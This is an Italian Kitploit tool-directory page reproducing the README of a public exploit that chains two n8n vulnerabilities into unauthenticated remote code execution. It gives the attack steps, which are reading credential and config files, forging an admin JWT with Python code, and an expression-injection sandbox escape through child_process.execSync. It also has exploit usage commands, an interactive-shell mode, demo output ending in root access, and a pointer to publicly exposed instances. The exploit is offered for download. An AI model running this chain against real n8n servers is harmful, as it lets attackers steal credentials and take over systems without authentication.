Skip to content
KitploitKITPLOIT
StrumentiBlog
Log in
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
CVE-2026-21858 — n8n Ni8mare - Catena da lettura arbitraria di file non autenticata a RCE (CVSS 10.0) | Kitploit
Strumenti/GitHubGitHub/chocapikk/cve-2026-21858
Escalation di PrivilegiAnalisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebRaccolta InformazioniPenetration Testing
GitHubchocapikk/cve-2026-21858

CVE-2026-21858

n8n Ni8mare - Catena da lettura arbitraria di file non autenticata a RCE (CVSS 10.0)

Vedi Repository
26151156 mesi faRevisionato da Kitploit

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi
Sito web

CVE-2026-21858 + CVE-2025-68613 - Catena completa n8n

Lettura arbitraria di file non autenticata → Forgiatura token admin → Bypass sandbox → RCE

CVECVE-2026-21858 (AFR) + CVE-2025-68613 (RCE)
CVSS10.0 + 9.9 (Critico)
Interessate<= 1.65.0 (AFR) / >= 0.211.0 (RCE)
Corretta1.121.0 (AFR) / 1.120.4+ (RCE)
Divulgata2026-01-07 11:09 UTC
Nome in codiceNi8mare
CreditiDor Attias (Cyera)
ExploitChocapikk
ProcessoAutomatizzato con IA: diff della patch → riproduzione → laboratorio → exploit (~9 ore dopo la divulgazione)
TipoProof of Concept - NON un exploit universale (richiede una configurazione specifica del workflow, vedi Limitazioni)

TL;DR

Catena RCE completa non autenticata su n8n:

  1. CVE-2026-21858 - Confusione Content-Type → Lettura arbitraria di file
  2. Leggi configurazione + database → forgia JWT admin
  3. CVE-2025-68613 - Iniezione di espressioni → bypass sandbox → RCE

Rilevamento

L'esposizione è basata sulla versione: in pratica, esistono istanze n8n vulnerabili accessibili pubblicamente.

Risultati LeakIX: Visualizza le istanze esposte

Risultati di rilevamento LeakIX

Perché questo exploit?

Questo exploit è stato sviluppato indipendentemente dall'analisi di Cyera (scoperta dopo il completamento). Differenze principali:

Cyera (Ricerca originale)Questo exploit
Lettura fileCaricamento nella knowledge base IA → interrogazione tramite chatRisposta HTTP diretta
PrerequisitiWorkflow chat + integrazione IAQualsiasi form con caricamento file
Metodo RCENodo "Execute Command" (disabilitato di default)Iniezione di espressioni (funziona su installazioni predefinite)
AutomazioneDimostrazione manuale/concettualeScript Python completamente automatizzato

Entrambi gli approcci richiedono configurazioni specifiche del workflow. Cyera richiede chat + integrazione IA, questo exploit richiede un form con nodo Respond. Vedi Limitazioni per i dettagli.

Catena d'attacco

┌───────────────────────────────────────────────────────────┐
│                     UNAUTHENTICATED                       │
├───────────────────────────────────────────────────────────┤
│  1. Read /proc/self/environ → Find HOME directory         │
│  2. Read $HOME/.n8n/config → Get encryptionKey            │
│  3. Read $HOME/.n8n/database.sqlite → Get admin creds     │
├───────────────────────────────────────────────────────────┤
│                      TOKEN FORGE                          │
├───────────────────────────────────────────────────────────┤
│  4. Derive JWT secret from encryptionKey                  │
│  5. Forge admin session cookie                            │
├───────────────────────────────────────────────────────────┤
│                    AUTHENTICATED RCE                      │
├───────────────────────────────────────────────────────────┤
│  6. Create workflow with expression injection             │
│  7. Sandbox bypass via this.process.mainModule.require    │
│  8. Execute arbitrary commands                            │
└───────────────────────────────────────────────────────────┘

CVE-2026-21858 - Lettura arbitraria di file tramite confusione Content-Type

La patch

commit c8d604d2c466dd84ec24f4f092183d86e43f2518
Author: mfsiega
Date:   Thu Nov 13 11:51:40 2025 +0100

    Merge commit from fork

La leggendaria "Merge commit from fork" - quando vedi questo, qualcuno ha trovato qualcosa di piccante. 🌶️

Causa principale

// BEFORE (vulnerable)
const files = (context.getBodyData().files as IDataObject) ?? {};
await context.nodeHelpers.copyBinaryFile(file.filepath, ...)

// AFTER (fixed)
a.ok(req.contentType === 'multipart/form-data', 'Expected multipart/form-data');

Invia Content-Type: application/json → controlla filepath → leggi qualsiasi file.

CVE-2025-68613 - RCE tramite iniezione di espressioni

Perché questo bypass?

n8n mette in sandbox il codice utente (Code Node, espressioni) usando vm2/isolated-vm. Altri vettori RCE:

TecnicaStato
Nodo Execute CommandDisabilitato di default (N8N_ALLOW_EXEC_COMMAND=false)
Nodi SSH/HTTPEseguono su server remoti, non sull'host n8n
Escape sandbox PyodideCVE-2025-68668 - richiede il Python Code Node
Iniezione di espressioniCVE-2025-68613 - funziona su installazioni predefinite

Ho usato l'iniezione di espressioni perché funziona su qualsiasi n8n con impostazioni predefinite - nessun nodo o configurazione speciale richiesta. Il bypass Pyodide (CVE-2025-68668) richiede il Python Code Node che potrebbe non essere disponibile su tutte le istanze.

Il payload

={{ (function() { 
  var require = this.process.mainModule.require; 
  var execSync = require("child_process").execSync; 
  return execSync("id").toString(); 
})() }}

Le espressioni di n8n hanno accesso a this.process.mainModule.require → escape completo dalla sandbox.

Forgiatura token

# JWT secret derivation
jwt_secret = sha256(encryption_key[::2]).hexdigest()

# JWT hash
jwt_hash = b64encode(sha256(f"{email}:{password_hash}")).decode()[:10]

# Forge token
token = jwt.encode({"id": user_id, "hash": jwt_hash}, jwt_secret, "HS256")

Configurazione del lab

docker compose up -d
# Wait ~60 seconds for setup
# Form: http://localhost:5678/form/vulnerable-form
# Creds: [email protected] / ExploitLab123!

Utilizzo

# Read arbitrary file
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --read /etc/passwd

# Full chain with command
uv run python exploit.py http://localhost:5678 /form/vulnerable-form --cmd "id"

# Interactive shell
uv run python exploit.py http://localhost:5678 /form/vulnerable-form

Demo

╔═══════════════════════════════════════════════════════════════╗
║     CVE-2026-21858 + CVE-2025-68613 - n8n Full Chain          ║
║     Arbitrary File Read → Token Forge → Sandbox Bypass → RCE  ║
╚═══════════════════════════════════════════════════════════════╝

[*] Target: http://localhost:5678/form/vulnerable-form
[*] Version: 1.65.0 (VULN)
[x] HOME directory
[+] HOME directory: /root
[x] Encryption key
[+] Encryption key: yusrXZV1...
[x] Database
[+] Database: 1327104 bytes
[x] Admin user
[+] Admin user: [email protected]
[x] Token forge
[+] Token forge: OK
[x] Admin access
[+] Admin access: GRANTED!
[+] Cookie: n8n-auth=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6IjljMWI5MzU0LTI5NzQtNGZlOS05OTc2LWVmZDM3ZWEyNWFlMiIsImhhc2giOiJGYzVQZjVkUDRxIn0.TrIjHV3_6pw6Syi4qme5larZeQElBJmo4Y_eSgL9_M0
[x] RCE
[+] RCE: OK

uid=0(root) gid=0(root) groups=0(root)

Limitazioni

Questo NON è un exploit "pwn any n8n". Richiede condizioni specifiche per funzionare:

RequisitoDescrizione
Form con caricamento fileIl target deve avere un workflow di form con un campo di caricamento file
Nodo Respond to WebhookIl workflow deve restituire il contenuto del file nella risposta HTTP
Workflow attivoIl workflow del form deve essere attivato
Accesso non autenticatoIl form deve essere accessibile pubblicamente (senza autenticazione)

Esempio di configurazione di workflow vulnerabile:

Scarica lo strumento